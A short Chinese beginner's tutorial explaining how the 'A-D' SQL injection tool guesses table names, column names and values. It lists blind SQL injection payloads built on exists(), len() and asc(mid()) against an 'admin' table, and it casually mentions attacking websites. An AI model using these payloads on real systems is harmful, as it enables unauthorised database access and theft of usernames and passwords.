这篇文章起这么个奇怪的名字,有点新鲜感吧。很多像我一样的菜鸟什么都不懂,就知道那个工具上去就开始撸。看一个教程就去撸了。什么都不懂。今天就来分析一下这个工具的原理吧。其实,也就是手工注入的方法。

?id=124 这个是一个注入点,我们要用它来猜解表名。怎么提交??id=124 and exists(select count(*) from admin) 然后看页面返回了,返回正常就表示该表存在,否则就不存在了。啊D工具就是这样猜解的,它的软件数据库里面有很多提前添加好的表名。然后猜解的时候就是挨个试了。

菜鸟也来学渗透——啊D注入工具猜解原理

当然图中显示,也设置有许多字段。都是穷举,挨个试出来的。

有了表名,下一步就是猜解字段了。需要用到这样的语句:?id=124 and exists(select username from admin)  也就是将count(*) 换成了字段名。将设置列表中的字段挨个进去匹配。页面返回正常就表示字段存在哦。

字段有了,下一步就是猜解值了。网址+后缀 

?id=124 and (select top 1 len(username) from admin)>0

?id=124 and (select top 1 len(username) from admin)>5

?id=124 and (select top 1 len(username) from admin)>6

直到准确判断出长度为止。其中的len()函数负责计算username中第一条记录的长度了.

直到了长度,下一步就是准确猜解每一位的值。

and(select top 1 asc(mid(username,1,1))from admin)>97

and(select top 1 asc(mid(username,1,1))from admin)>98

and(select top 1 asc(mid(username,1,1))from admin)>99

and(select top 1 asc(mid(username,1,1))from admin)=100

解析一下这个语句的含义。就是一些函数的使用技巧, asc() 负责查询某个字符的ascii码值,mid(addr,start,len) 这个函数负责选取某个字符串中从start开始len位的字符。本语句就是取出字符串的第一个字符了。当然第二个字符:and(select top 1 asc(mid(username,2,1))from admin)>99就是这样算的了,取出每一位的结果之后,转换为对应的字符就是用户名或者密码了。

菜鸟也来学渗透——啊D注入工具猜解原理

这就是为什么猜解表名、字段的时候,都是一条一条的出结果。而右边这个检测内容的,是一个字符一个字符的出结果了。

弄明白了原理。是不是可以自己写一个注入工具了?对比以前什么不懂,天天拿着啊D去撸站要有成就感多了。嘻嘻